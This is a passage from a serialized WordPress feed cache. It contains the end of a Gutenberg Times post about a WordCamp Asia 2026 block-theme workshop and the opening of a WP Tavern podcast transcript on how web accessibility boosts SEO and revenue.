</p>\n\n\n\n<h3 class="wp-block-heading">A quick primer before you start</h3>\n\n\n\n<p class="wp-block-paragraph">Before jumping into the exercises, it is worth reviewing the <a href="https://docs.google.com/presentation/d/1PhgUSe6gyjPxXFq315yCH-zavA2rZHQD34nVmnGgC1I/edit?slide=id.p1#slide=id.p1">workshop slide deck</a>. If you are coming from classic WordPress themes, the mental model is different. A block theme replaces PHP template files with HTML templates built from block markup, and it replaces scattered CSS with a single <code>theme.json</code> file that defines your colors, typography, spacing, and layout in one place. Templates and template parts live in their own folders, and every piece of them is made of blocks.</p>\n\n\n\n<figure class="wp-block-image size-full"><a href="https://docs.google.com/presentation/d/1PhgUSe6gyjPxXFq315yCH-zavA2rZHQD34nVmnGgC1I/edit?slide=id.p6#slide=id.p6"><img alt="Screenshot of slide Theme.json the hear of the block themes " class="wp-image-45362" height="367" src="https://i0.wp.com/gutenbergtimes.com/wp-content/uploads/2026/04/The-heart-of-Block-Themes.jpg?resize=652%2C367&#038;ssl=1" width="652" /></a></figure>\n\n\n\n<p class="wp-block-paragraph">The Site Editor is where it all comes together. It gives you a visual canvas for designing templates, setting global styles, and previewing changes in real time. Developers ship defaults through <code>theme.json</code>; site owners customize through the Site Editor. When a user makes a change in the editor, it takes precedence over the theme default. Understand that layering is key before you dive into the exercises.</p>\n\n\n\n<h3 class="wp-block-heading">What the workshop covers</h3>\n\n\n\n<p class="wp-block-paragraph">The workshop walks you through building <em>Concrete &amp; Light</em>, a block theme for a fictional heritage architecture studio based in Mumbai. Rather than starting from theory, you start from a working site with real content — five pages and three project posts — and progressively shape the design through the Site Editor.</p>\n\n\n\n<figure class="wp-block-image size-full"><img alt="Reference theme for the Building block theme from scratch Concrete &amp; Light. " class="wp-image-45230" height="489" src="https://i0.wp.com/gutenbergtimes.com/wp-content/uploads/2026/04/screenshot.png?resize=652%2C489&#038;ssl=1" width="652" /></figure>\n\n\n\n<p class="wp-block-paragraph">Three guided exercises take you from basics to custom templates:</p>\n\n\n\n<p class="wp-block-paragraph"><strong>Exercise 1: Styling the Header.</strong> You install fonts (Jost and Playfair Display), set up a semantic color palette, configure typography presets, and transform the default header into a dark, minimal navigation bar with uppercase text and an accent border. This is where you get comfortable with global styles and template parts.</p>\n\n\n\n<p class="wp-block-paragraph"><strong>Exercise 2: Footer and Global Elements.</strong> You build a four-column footer with studio branding, page links, social channels, and addresses. Then you style headings, links, and buttons across the entire site to ensure design consistency. By the end, you understand how global element styles cascade through your theme.</p>\n\n\n\n<p class="wp-block-paragraph"><strong>Exercise 3: Page Templates.</strong> This is where it gets interesting. You create a Landing Page template with a full-viewport hero image, a 40% overlay, and a dynamically pulled page title — no hardcoded text. Then you build a Category Projects template with a three-column query loop grid, giving you hands-on experience with archive templates and dynamic content.</p>\n\n\n\n<p class="wp-block-paragraph">You use the visual tools WordPress provides and see the results immediately. The <a href="https://wordpress.org/plugins/create-block-theme/">Create Block Theme</a> plugin is pre-installed so you can export your modifications as a proper theme at any point.</p>\n\n\n\n<h3 class="wp-block-heading">Getting started on your own</h3>\n\n\n\n<p class="wp-block-paragraph">You have three options for setting up your site:  </p>\n\n\n\n<ul class="wp-block-list">\n<li>A visual app, <a href="https://developer.wordpress.com/studio/">WordPress Studio</a> can import the included blueprint and have your site ready in a couple of minutes. </li>\n\n\n\n<li>Using the command line, the Studio CLI will do the same thing with a single command. </li>\n\n\n\n<li>Or skip the install entirely, <a href="https://playground.wordpress.net/?blueprint-url=https://raw.githubusercontent.com/bph/workshop/main/blueprint-studioapp.json">open the workshop site directly in WordPress Playground</a> — it loads right in your browser with all the content and plugins already in place. </li>\n</ul>\n\n\n\n<p class="wp-block-paragraph"><a href="https://gutenbergtimes.com/wordcamp-asia-2026-workshop/" id="44811" type="page">Instructions</a> for installing WordPress Studio or using the Studio CLI for the workshop are also available. </p>\n\n\n\n<p class="wp-block-paragraph">Whichever route you choose, the blueprint automatically installs WordPress, activates the required plugins, imports all demo content and media, and configures the site settings.</p>\n\n\n\n<p class="wp-block-paragraph">Once your site is running, open the <a href="https://github.com/bph/workshop/tree/main/instructions">exercise instructions on GitHub</a> and work through them at your own pace. The instructions include color references, specific block settings, and enough context that you should not get stuck even without a workshop facilitator in the room.</p>\n\n\n\n<p class="wp-block-paragraph">The <a href="https://github.com/bph/workshop">full workshop bundle</a> is on GitHub. Fork it, clone it, or just download the ZIP. And if you build something with it, we would love to hear about it.</p>\n\n\n\n<p class="wp-block-paragraph">If you have trouble or run into problems, email pauli@gutenbergtimes.com or ping me on WP Slack or create an issue or discussion on GitHub </p>\n\n\n\n<blockquote class="wp-block-quote has-light-background-background-color has-background is-layout-flow wp-block-quote-is-layout-flow">\n<div class="wp-block-spacer" style="height: 26px;"></div>\n\n\n\n<p class="wp-block-paragraph">Attended the workshop “Building a Block Theme from Scratch” by Birgit Pauli-Haack , WordPress Core Contributor and it completely changed how I look at modern WordPress development.<br /><br />Key takeaways :<br /><br />• Block-based themes are shaping the future of WordPress<br />• Flexibility and customization are now more powerful than ever<br />• Modern theme development is all about blocks, not templates<br /><br />It was an amazing learning experience and a great opportunity to connect with such an inspiring community.</p>\n\n\n\n<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/reddyaman/">Aman Reddy</a></p>\n\n\n\n<div class="wp-block-spacer" style="height: 24px;"></div>\n</blockquote>\n\n\n\n<h2 class="wp-block-heading">Resources to learn more</h2>\n\n\n\n<ul class="wp-block-list">\n<li><a href="https://docs.google.com/presentation/d/1PhgUSe6gyjPxXFq315yCH-zavA2rZHQD34nVmnGgC1I/edit?slide=id.p1#slide=id.p1">Slidedeck: Building a block theme from scratch</a></li>\n\n\n\n<li><a href="https://developer.wordpress.org/themes/">Theme Handbook</a> on WordPress.org </li>\n\n\n\n<li><a href="https://gutenbergtimes.com/wordcamp-asia-2026-workshop/">Setup Instructions</a> </li>\n\n\n\n<li><a href="https://href.li/?https://github.com/bph/workshop">GitHub Repo</a> with instructions for the workshop</li>\n\n\n\n<li><a href="https://developer.wordpress.org/news/page/2/?s=theme.json&amp;post_type=post">List of tutorials on theme.json </a>on the WordPress developer blog</li>\n\n\n\n<li><a href="https://fullsiteediting.com/courses/full-site-editing-for-theme-developers/">Full site editing for theme developers </a>by Carolina Nymark</li>\n</ul>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 16 Apr 2026 09:23:27 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:18:"Birgit Pauli-Haack";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:40;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:90:"WPTavern: #212 – Anne Bovelett on How Web Accessibility Boosts Traffic, SEO, and Revenue";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:48:"https://wptavern.com/?post_type=podcast&p=203467";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:102:"https://wptavern.com/podcast/212-anne-bovelett-on-how-web-accessibility-boosts-traffic-seo-and-revenue";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:57574:"<details>Transcript<div>\n<p class="wp-block-paragraph">[00:00:19] <strong>Nathan Wrigley:</strong> Welcome to the Jukebox Podcast from WP Tavern. My name is Nathan Wrigley.</p>\n\n\n\n<p class="wp-block-paragraph">[00:00:26] Jukebox is a podcast which is dedicated to all things WordPress, the people, the events, the plugins, the blocks, the themes, and in this case how web accessibility boosts traffic, SEO, and revenue.</p>\n\n\n\n<p class="wp-block-paragraph">[00:00:39] If you&#8217;d like to subscribe to the podcast, you can do that by searching for WP Tavern in your podcast player of choice, or by going to wptavern.com/feed/podcast, and you can copy that URL into most podcast players.</p>\n\n\n\n<p class="wp-block-paragraph">[00:00:56] If you have a topic that you&#8217;d like us to feature on the podcast, I&#8217;m keen to hear from you and hopefully get you or your idea featured on the show. Head to wptavern.com/contact/jukebox and use the form there.</p>\n\n\n\n<p class="wp-block-paragraph">[00:01:13] So on the podcast today we have Anne Bovelett.</p>\n\n\n\n<p class="wp-block-paragraph">[00:01:16] Anne is a seasoned accessibility strategist with many years of experience in the tech industry. Her journey into accessible design began several years ago, and since then, she&#8217;s become a passionate advocate for making the web a more inclusive place. Especially for WordPress users and developers. Drawing from her background in consulting, training, and her own experiences, Anne&#8217;s work focuses on the intersection of accessibility, universal design, and tangible business outcomes.</p>\n\n\n\n<p class="wp-block-paragraph">[00:01:46] This episode explores accessibility, not just as a moral imperative, but as a strategic advantage for website owners and businesses. Anne explains how neglecting accessibility means you are leaving serious money on the table, referencing compelling research from a variety of credible sources. These studies reveal practical data. Compliant sites enjoy increases in organic traffic, a boost in keyword rankings, stronger authority, and significant financial opportunities, sometimes running into millions and even billions.</p>\n\n\n\n<p class="wp-block-paragraph">[00:02:22] Anne talks about why accessibility hasn&#8217;t always been prioritised on the web, using analogies of the physical world, and the history of web development. She gets into the technical side as well, but this conversation is specifically geared towards the real world, bottom line, business benefits of accessible websites. Reach more users, boost revenue, and even reduce support costs.</p>\n\n\n\n<p class="wp-block-paragraph">[00:02:46] If you&#8217;re a website owner, developer, or digital business leader who&#8217;s ever wondered whether accessibility is worth it, this episode is for you.</p>\n\n\n\n<p class="wp-block-paragraph">[00:02:57] If you&#8217;re interested in finding out more, you can find all of the links in the show notes by heading to wptavern.com/podcast, where you&#8217;ll find all the other episodes as well.</p>\n\n\n\n<p class="wp-block-paragraph">[00:03:07] And so without further delay, I bring you Anne Bovelett.</p>\n\n\n\n<p class="wp-block-paragraph">[00:03:17] I am joined on the podcast by Anne Bovelett. Hello Anne.</p>\n\n\n\n<p class="wp-block-paragraph">[00:03:20] <strong>Anne Bovelett:</strong> Hi Nathan. Thank you for having me today.</p>\n\n\n\n<p class="wp-block-paragraph">[00:03:23] <strong>Nathan Wrigley:</strong> You are very welcome. Anne and I have been talking for quite a long time before we hit record and we&#8217;ve covered a lot of ground. But the ground that we&#8217;re going to cover today is all to do with accessibility, your WordPress website and why, well, why you are leaving money on the table if you are not pursuing the accessibility goals that you probably should be in the year 2026.</p>\n\n\n\n<p class="wp-block-paragraph">[00:03:43] Before we begin that, I guess it would be a good idea for you, Anne, to give us your credentials. Tell us a little bit about you and how come you get to speak authoritatively about accessibility in WordPress. So over to you, give us your bio.</p>\n\n\n\n<p class="wp-block-paragraph">[00:03:55] <strong>Anne Bovelett:</strong> It&#8217;s the most dangerous thing to ask me ever, right? Because I always talk too much.</p>\n\n\n\n<p class="wp-block-paragraph">[00:04:01] So let me do it differently this time. When I started figuring out about accessibility, about six years ago, I quickly realised that it&#8217;s not that complex to learn accessible coding. It&#8217;s not that complex to learn universal design principles. But what is hard for a lot of people working in accessibility is that many of them have this very social way of acting. I do too. I&#8217;m in it for the right reason, I think, because I want everybody to have freedom and also the freedom to make the same mistakes that we do, but also not to be constrained in any way.</p>\n\n\n\n<p class="wp-block-paragraph">[00:04:46] And then I was speaking to accessibility specialists, remediators, and in every layer of businesses, and I realised that they were being punched upon by organisations because they were just getting too many roles in one. The expectations were insane. So companies were 2 &#8211; 3000 people working for them, outputting I don&#8217;t know what kinds of digital products and websites, would expect one person to be the accessibility person to guard the compliance. And I mean this is a recipe for burnout 101.</p>\n\n\n\n<p class="wp-block-paragraph">[00:05:21] And one thing I don&#8217;t have a lack of is a big mouth. And one of the reasons why I started working for myself is because of that big mouth. I was not material to be hired, even though I managed to work for 22 years in employment. I realised at some point, if I ask a good fee, for some reason people take me seriously. Have you ever noticed that, Nathan? The more money you ask for, the more serious they&#8217;re going to take you. It&#8217;s absolutely ridiculous. But that&#8217;s what&#8217;s happening.</p>\n\n\n\n<p class="wp-block-paragraph">[00:05:59] And so I was trying to find my way in accessibility, like where do I fit in best? And then I thought, I&#8217;m going to be the flag bearer and I want to teach companies. And one of the things I like to do is to beat them with their own stick. Because I don&#8217;t care why someone makes whatever product, or whatever service they have accessible, I just care that they do. So if the stick that says money works, I&#8217;ll beat that. I&#8217;ll beat with that. It&#8217;s no doubt.</p>\n\n\n\n<p class="wp-block-paragraph">[00:06:35] And that&#8217;s where my career started changing, and especially since the past one and a half years. Someone said, you should change your job title. You should turn it into Accessibility Strategist. Well, here we are. I don&#8217;t care much for titles, but apparently that pretty much describes what I do.</p>\n\n\n\n<p class="wp-block-paragraph">[00:06:57] <strong>Nathan Wrigley:</strong> It&#8217;s kind of curious to me that if you were to, I say this phrase quite a lot on this podcast because there&#8217;s a lot of introspection going on and a lot of gazing back in time. It&#8217;s kind of curious that the accessibility bit never got importance from the get-go. And I mean right back from when the internet began.</p>\n\n\n\n<p class="wp-block-paragraph">[00:07:18] There was this great promise that suddenly great swathes of information, which would&#8217;ve been hither to unavailable to an awful lot of people, would suddenly be able to be parachuted into your living room via a computer and increasingly, you know, into your hand with a mobile phone.</p>\n\n\n\n<p class="wp-block-paragraph">[00:07:34] And yet the technology developed, the browsers developed, the web design industry developed, and it never got that importance. I&#8217;m genuinely puzzled by how that occurred. How it is that we all ignored that. And it really is probably only within the last 3, 4, 5 years that this clarion call for accessibility has become mainstream. I know that there&#8217;s people that have been banging the gong probably right from the beginning, but it has been largely ignored and I find that really curious.</p>\n\n\n\n<p class="wp-block-paragraph">[00:08:07] <strong>Anne Bovelett:</strong> I think that is due to two things. First of all, because people approach this as a purely social issue that needs to be resolved, and that people can&#8217;t imagine that they have certain users, which is arrogance at its finest. But, you know, that&#8217;s another topic.</p>\n\n\n\n<p class="wp-block-paragraph">[00:08:27] The other thing is good intentions. Like they say, the road to hell is paved with good intentions, right? Because in the beginning of the internet, when things got more colour, I always say this is the point, where things got more colourful, when Google was still small, when Alta Vista was still a thing and Yahoo and you remember, and I think we had four digit or five digit numbers for ICQ members. Actually the HTML, the sites were pretty ugly, right? They were fugly, I would say. I remember we had to build with tables and stuff, and then jump through hoops to make something look the way we wanted to.</p>\n\n\n\n<p class="wp-block-paragraph">[00:09:08] But the thing is, around that time, all we had was semantic HTML. We still have that, but back then it&#8217;s all we had. And because we were using semantic HTML, it was great for screen reader users, for example, and other assistive technology. But then everybody always wants to improve. They want to do better. And there is a German word for it, and I haven&#8217;t found the equivalent for that in English. We call it verschlimmbesserung. It literally means, instead of improving it, maybe down proving it. It&#8217;s like over-engineering.</p>\n\n\n\n<p class="wp-block-paragraph">[00:09:48] So this is what happened. And then people always want to work faster and they love building tools that help others, because in a sense, we are a social species, if you like it or not. We&#8217;re just social in the wrong things often, I think as a society. And from that perspective, there&#8217;ve been developers that had a great idea, said, let&#8217;s make frameworks, and then let&#8217;s make things easier for our fellow designers and developers.</p>\n\n\n\n<p class="wp-block-paragraph">[00:10:13] And very fast, at some point, semantic HTML was not a thing anymore because people were coding with div and span. And the div and span are the chameleons, the useless chameleons if you talk about accessibility, because you can make a div look like something, but you can&#8217;t make it behave like something until you put a ton of JavaScript on it. Div is like tofu without seasoning, right?</p>\n\n\n\n<p class="wp-block-paragraph">[00:10:41] And the same is with span. And because semantic elements like a button is challenging to style for some, a lot of frameworks came that used div and span a lot. And then they&#8217;re relying on JavaScript. And then these frameworks were growing and then at some point people were like, oh, this is the biggest framework used by everybody, so it must be good. That&#8217;s like saying the opinion of the majority is the truth. Unfortunately it&#8217;s not.</p>\n\n\n\n<p class="wp-block-paragraph">[00:11:15] That is my theory. I&#8217;m saying this more often. There was this time when everybody was doing Duolingo and then making big messages on social media, look, I&#8217;m on a 682.5 day streak in Duolingo, developers, right? And I&#8217;m like, why are you telling me about your streak for that but you can&#8217;t remember 50 semantic HTML elements? That&#8217;s very much also bashing the developer, which is pretty unfair because the problem is, with accessibility is, it&#8217;s not taken into account from the beginning.</p>\n\n\n\n<p class="wp-block-paragraph">[00:11:59] Let me compare that with another situation. So our family home burnt down to the ground and we had to rebuild, and then we got the chance to improve some things because we got modern stuff. And then, because we were building this community seminar centre at the same time, we needed to think about how we&#8217;re going to build the toilets, right? And then we had to go, and here, because the architect that helped us, he was nice guy, but he didn&#8217;t think about wheelchairs, about accessibility.</p>\n\n\n\n<p class="wp-block-paragraph">[00:12:32] At that time, I wasn&#8217;t thinking about accessibility or digital accessibility at all. But I was like, what if someone comes in with a wheelchair? Or what if we have a guest that weighs over 190 kilos? Will our toilet survive that? What kind of toilet do we need? And just close your eyes and go into that little toilet room, bathroom you call it, probably, and then close your eyes and imagine, okay, I have trouble moving, I have pain, I have rheumatism. I don&#8217;t but, you know, and I&#8217;m on a stick. Where do I put my stick? Do I have a place to put that in the corner? Can I reach for the paper?</p>\n\n\n\n<p class="wp-block-paragraph">[00:13:13] All these practical things. These are decisions that you take before you even start building the room. And it&#8217;s the same thing with anything else. Digital applications, terminals, elevators. I don&#8217;t know, anything. And the thing is, the better you do it, the less people have to ask questions afterwards about, how does this work?</p>\n\n\n\n<p class="wp-block-paragraph">[00:13:39] <strong>Nathan Wrigley:</strong> Yeah, it&#8217;s kind of interesting because in the real world, I know that in the part of the world where I live, and I&#8217;ve made this comparison on different podcasts in the past. It&#8217;s so self-evident when somebody, for example, who&#8217;s using a wheelchair. It&#8217;s so self-evident when they can&#8217;t get in the building because, well, there they are at the door with some impediment. Maybe there&#8217;s three steps that are just unachievable. And it&#8217;s really obvious. There they are in the real world. You walk past and you notice it. It&#8217;s right there in front of you. Look, there&#8217;s a problem that needs to be solved.</p>\n\n\n\n<p class="wp-block-paragraph">[00:14:13] And so for the real world, the legislation in the part of the world where I am, came into effect many years ago. And so, for example, the ramps came in and all the premises that are publicly trading things must have ramps and so on and so forth.</p>\n\n\n\n<p class="wp-block-paragraph">[00:14:26] However, the internet is a different animal in that most of us are browsing in the comfort of our own home. Nobody has any idea what you are browsing. Nobody&#8217;s got any idea where it is failing for you because they&#8217;re not staring over your shoulder. And even if they were staring over their shoulder, it would be fairly hard for them to determine that, again, to use the metaphor of getting in the building, they wouldn&#8217;t see that you couldn&#8217;t get in the building even if they were watching your phone. It has to be reported by you, the user that can&#8217;t achieve the things. And so there&#8217;s this real kind of difficulty in matching it up.</p>\n\n\n\n<p class="wp-block-paragraph">[00:15:03] And also because a website kind of looks finished when it looks finished to most people, then you just put the tools away. There&#8217;s the website. It looks finished, so it is finished. We&#8217;re done. And of course, there&#8217;s this whole increasingly vocal cohort of people who, and we&#8217;ll get into them in a moment, who are not able to access these things, but they have to self-report.</p>\n\n\n\n<p class="wp-block-paragraph">[00:15:31] And who do you even report to? If I can&#8217;t access a building on my high street, let&#8217;s say the local library, I could probably even go to the police in all honesty. There&#8217;s a central place. I could go to the police, go to the council, and I could say, this must be fixed. And it, sure enough, it will be fixed. There is no equivalence here. Who would I go to to report a problem so that it will definitely be fixed.</p>\n\n\n\n<p class="wp-block-paragraph">[00:15:53] So there&#8217;s this whole sort of strange disconnect, which presents the problem of today. How do we encourage people who don&#8217;t get the self-reporting, that it&#8217;s a jolly good idea to fix the problems in advance?</p>\n\n\n\n<p class="wp-block-paragraph">[00:16:08] <strong>Anne Bovelett:</strong> Make it hurt.</p>\n\n\n\n<p class="wp-block-paragraph">[00:16:08] <strong>Nathan Wrigley:</strong> Or make it valuable, make the fix valuable. And in the scenario that you are describing today, we&#8217;re going to talk about some articles, one of which you&#8217;ve written, but also one which has been done by accessibilitychecker.org. We&#8217;re going to look into those. This is making the economic argument for doing it.</p>\n\n\n\n<p class="wp-block-paragraph">[00:16:26] <strong>Anne Bovelett:</strong> I&#8217;m sorry for interrupting you, but it was not just accessibilitychecker.org because then everybody&#8217;s going to go, oh, yeah, another accessibility site. This was Semrush. Semrush people. They did this together with accessibilitychecker.org.</p>\n\n\n\n<p class="wp-block-paragraph">[00:16:41] <strong>Nathan Wrigley:</strong> Sorry, I&#8217;m reading out the URL where I located it, so yeah. But the point being that there&#8217;s an economic imperative. And that kind of cuts through a lot, doesn&#8217;t it? You know, if you go to a business and you say to them, if we were to make this minor tweak with your business, we could increase your revenue by 0.5 of a percent. If we make these other tweaks, we can increase you by 8%, 9%, or what have you.</p>\n\n\n\n<p class="wp-block-paragraph">[00:17:04] Any business owner who hears those words is going to be curious. Okay, right, you&#8217;ve got my attention, now what? And although it kind of misses out the whole moral argument, like we should be making sites accessible just because that&#8217;s morally the right thing to do. Put that to one side. Let&#8217;s go with the economic imperative.</p>\n\n\n\n<p class="wp-block-paragraph">[00:17:23] So I will link in the show notes to anything that we mention today. So I&#8217;ll just drop that in. Go to wptavern.com, search for the episode with Anne, and all the links will be provided there, as well, I might add with a transcript of everything that we say today.</p>\n\n\n\n<p class="wp-block-paragraph">[00:17:38] Tell us the sort of headline pieces that you found curious in the accessibilitychecker.org piece, which is obviously, as you said, created by Semrush amongst others.</p>\n\n\n\n<p class="wp-block-paragraph">[00:17:47] <strong>Anne Bovelett:</strong> I&#8217;m just looking at the first page from Semrush itself. And it was interesting because they actually have an infographic on it that says, summary of findings. That&#8217;s not accessible at all, but we used it in our Hackathon project last year. But they tested 10,000 websites. And this is actually what I, and many of the people in my line of work have been waiting for, data, data, data. Because this is what companies care about. And I understand that. You know, they are responsible for people&#8217;s salaries, not just the revenue and the turnover, but also for the people that they employ, right?</p>\n\n\n\n<p class="wp-block-paragraph">[00:18:27] And so in this research it showed, after 10,000 websites, that 70% of the sites were not compliant. Well, that&#8217;s not news, right? But the thing is, they found a 23% traffic increase tied to higher compliance. 27% more keywords ranked with accessibility improvement. So this is major, but here&#8217;s the biggest one. 90% boost in authority score for compliant sites.</p>\n\n\n\n<p class="wp-block-paragraph">[00:18:59] And the thing is, when I read people, wow, we&#8217;ve been celebrating last Friday because we had a 0.5 increase in our click rates, for example. That&#8217;s another one. I&#8217;m like, that could be 10% or 15%. I&#8217;m happy to see that it now becomes clear that accessibility affects everything.</p>\n\n\n\n<p class="wp-block-paragraph">[00:19:21] And the thing is, people approach or companies approach accessibility from a technical standpoint. Like, what do we have to change technically? But accessibility is about people. It&#8217;s the same thing with all these solutions, the overlays, the whatever. They&#8217;re trying to approach it as a digital problem. But this is a human-centric problem. This is how people use the web.</p>\n\n\n\n<p class="wp-block-paragraph">[00:19:48] And now if you go back to SEO, one thing I learned a long time ago, I mean you can tell me about Google and other search engines, whatever you want, I don&#8217;t care how technical you are, their biggest customer is the people who search on the web, not the ones who pay them to show their stuff. And so this is what search engines are looking for.</p>\n\n\n\n<p class="wp-block-paragraph">[00:20:16] And now with AI, I&#8217;m having a blast because I see people writing stuff like, oh, we have to tell the AI to understand our website. But you are leaving your fate in SEO in the hands of something that is going to interpret what you are doing there.</p>\n\n\n\n<p class="wp-block-paragraph">[00:20:36] I&#8217;m not going to name the names. It would be unfair because I&#8217;m going to confront them with that before. But, there is a massive event that has a fantastic, big website. I find it hard to navigate, but that&#8217;s a personal thing. And that is a JavaScript invested monster. And just for fun of it, I just asked AI, can you find this and this and this for me on that page? And AI was like, no, I can&#8217;t. It&#8217;s rendering JavaScript. I can&#8217;t read this. What do you think that does to a screen reader or, because they&#8217;re all using the same technology to read it.</p>\n\n\n\n<p class="wp-block-paragraph">[00:21:10] <strong>Nathan Wrigley:</strong> Yeah. When I&#8217;ve done podcast episodes about accessibility in the past, we&#8217;ve often dwelled not on this side, in fact, I don&#8217;t think we&#8217;ve ever touched sort of like the SEO and traffic benefit of it. It&#8217;s always been from the point of view of, what can you do? As an engineer, as a web developer, what can you do to go in in the weeds and fix things?</p>\n\n\n\n<p class="wp-block-paragraph">[00:21:28] We are just going to brush that aside. You can find that information out. You know, go and talk to Anne, for example, if you want to learn how to do it. But the principle here is more about the SEO and therefore the traffic side of things, on the flip side of doing the work. So you imagine, the work is not done. It&#8217;s poorer in terms of SEO and poorer in terms of reach, poorer in terms of search engine ranking, poorer in terms of revenue through your e-commerce platform or what have you. And then if you do do the work, all of those things increase incrementally.</p>\n\n\n\n<p class="wp-block-paragraph">[00:21:59] And in some cases the data shows fairly substantially. And so I&#8217;m just going to drill into each of those statistics one at a time because I feel it needs a little bit of like teasing out a little bit. So the first one is, well, there&#8217;s many statistics, but the first of the three that I&#8217;m going to mention, which you already have mentioned is organic traffic.</p>\n\n\n\n<p class="wp-block-paragraph">[00:22:17] So again, this is making the assumption that the work has been done. You&#8217;ve achieved the accessibility goals, presumably, which were many. You&#8217;ve jumped through all those hoops and you&#8217;ve got this benefit on the other side. And here&#8217;s some possible benefits.</p>\n\n\n\n<p class="wp-block-paragraph">[00:22:29] Organic traffic increased by an average of 23% as a site&#8217;s accessibility compliance score increased. So can I ask you, is that one directly related to search engines then? Because it feels like it is. You know, you did the accessibility work and a byproduct of that is that you became more visible on search engines. Have I got that right?</p>\n\n\n\n<p class="wp-block-paragraph">[00:22:50] <strong>Anne Bovelett:</strong> Yeah, of course because if assistive technology can&#8217;t read your site, the search engines probably can&#8217;t either.</p>\n\n\n\n<p class="wp-block-paragraph">[00:22:59] <strong>Nathan Wrigley:</strong> Yeah. It&#8217;s kind of interesting though that you get that much of a boost. You&#8217;d think if you had improved things, you might see, I don&#8217;t know, a few percent here and there, but this figure of 23%. I mean imagine saying that to a marketing person, or the growth person inside of a company, 23% is possible. The word average in that sentence is bolded. So it&#8217;s an average of 23%. So presumably there&#8217;s a few that are lower and there&#8217;s a few that are higher, but an average increase of 23%. So I don&#8217;t ever use the phrase win-win.</p>\n\n\n\n<p class="wp-block-paragraph">[00:23:32] <strong>Anne Bovelett:</strong> It is win-win. It&#8217;s win-win on sides. Maybe that&#8217;s a little bit the dark side in me, but I go to business dinners, meetings, entrepreneur get togethers, blah, blah, blah. And then I always hear, at some point I hear people say, I don&#8217;t get it. We are paying our SEO companies so much money, and we are not getting better results. And we have had a redesign on our website. And then I look at their website like, hmm, yeah, sure.</p>\n\n\n\n<p class="wp-block-paragraph">[00:24:01] And then they will fix the site at some point, maybe they will improve the site, where the design goes, where the user flow goes. But still, it&#8217;s not ranking better, and still it&#8217;s not ranking better. And I wonder when SEO companies are going to become so smart that they&#8217;re going to tell their customer, hey customer, stop writing click here everywhere.</p>\n\n\n\n<p class="wp-block-paragraph">[00:24:25] <strong>Nathan Wrigley:</strong> That&#8217;s a great, concrete example of what you&#8217;re talking about, because I was going to drill into the next one because honestly, the next point does confuse me a little bit. Again, I&#8217;ll link to it in the show notes, but point 4, I&#8217;ll just read it here, is websites ranked for an average of 27% more organic keywords with a higher accessibility score.</p>\n\n\n\n<p class="wp-block-paragraph">[00:24:45] Can you tease that out for me? Because I&#8217;m genuinely puzzled by what that even means. I&#8217;m not sure how there&#8217;s this overlap between accessibility compliance, and the keywords and how the search engine would pick them up. So that&#8217;s me being ignorant.</p>\n\n\n\n<p class="wp-block-paragraph">[00:24:59] <strong>Anne Bovelett:</strong> I would say, set the compliance story on fire. Torch it, and throw it away because compliance is what makes people do the bare minimum. And I think, I know they had to use this term in the report because they&#8217;ve been checking it if the site is compliant. And then you will get lulled into a false sense of security when your score says, like Google does in Lighthouse, ooh, you are 97% accessible. And like, yeah, but the 3% that you say it&#8217;s not, is what&#8217;s blocking about 80% of a group of potential visitors that you are not having.</p>\n\n\n\n<p class="wp-block-paragraph">[00:25:40] But again, it&#8217;s about, in my opinion, it&#8217;s about the way things have been coded and the way things have been written. For example, what happens is buttons that aren&#8217;t buttons that are not really saying, how do you say it? It&#8217;s the same thing. It&#8217;s the read more thing again. I have to be careful that I don&#8217;t go into the rabbit hole here too much. But it&#8217;s the read more thing. It is text where links are actually named properly.</p>\n\n\n\n<p class="wp-block-paragraph">[00:26:08] And just to give you an example, I see a lot of people who try to do affiliate marketing. Let&#8217;s say food bloggers. They make humongous sites. They love using WordPress. I know that. There are tons of plugins also for food bloggers to play out the, what do you call that in English? The nutritional values of this and that. All right. And then these bloggers, people complain about it like, oh, why do they have to write their life stories and that of the spider in the corner on the ceiling before they give me the recipe? Well, that is because they&#8217;re trying to get caught in the search engines, right?</p>\n\n\n\n<p class="wp-block-paragraph">[00:26:44] And then they have all these links. Like, someone creates a great meal with a fantastic expensive pan and a pot, and I don&#8217;t know what, and they have all these articles from Amazon. And all they have is click here, click here, click here, click here. And then imagine someone who is using that. I mean I love, I have a nice little, what do you call that, extension in Chrome? I&#8217;ve been speaking German all morning. This is why my English is so rusty right now. I have this extension and it just, in a big article, if I want to know, oh, what was that tool that she was using again? I&#8217;ll go get the link list with that little extension there, or I&#8217;ll just run the screen reader and get the link list, because that&#8217;s easy for me to do. And then all I see is click here, click here, click here. So I&#8217;m not finding the link through that pan, and so I&#8217;m not buying it through her link.</p>\n\n\n\n<p class="wp-block-paragraph">[00:27:35] Affiliate websites could make so much more money if they would just do the right thing in their content. Let&#8217;s forget about the code of the theme that they chose, just the content. If that is played out correctly, and it&#8217;s not some JavaScript generated hoo-ha, which doesn&#8217;t happen in WordPress Core, they would make a lot more money.</p>\n\n\n\n<p class="wp-block-paragraph">[00:27:58] <strong>Nathan Wrigley:</strong> Because I 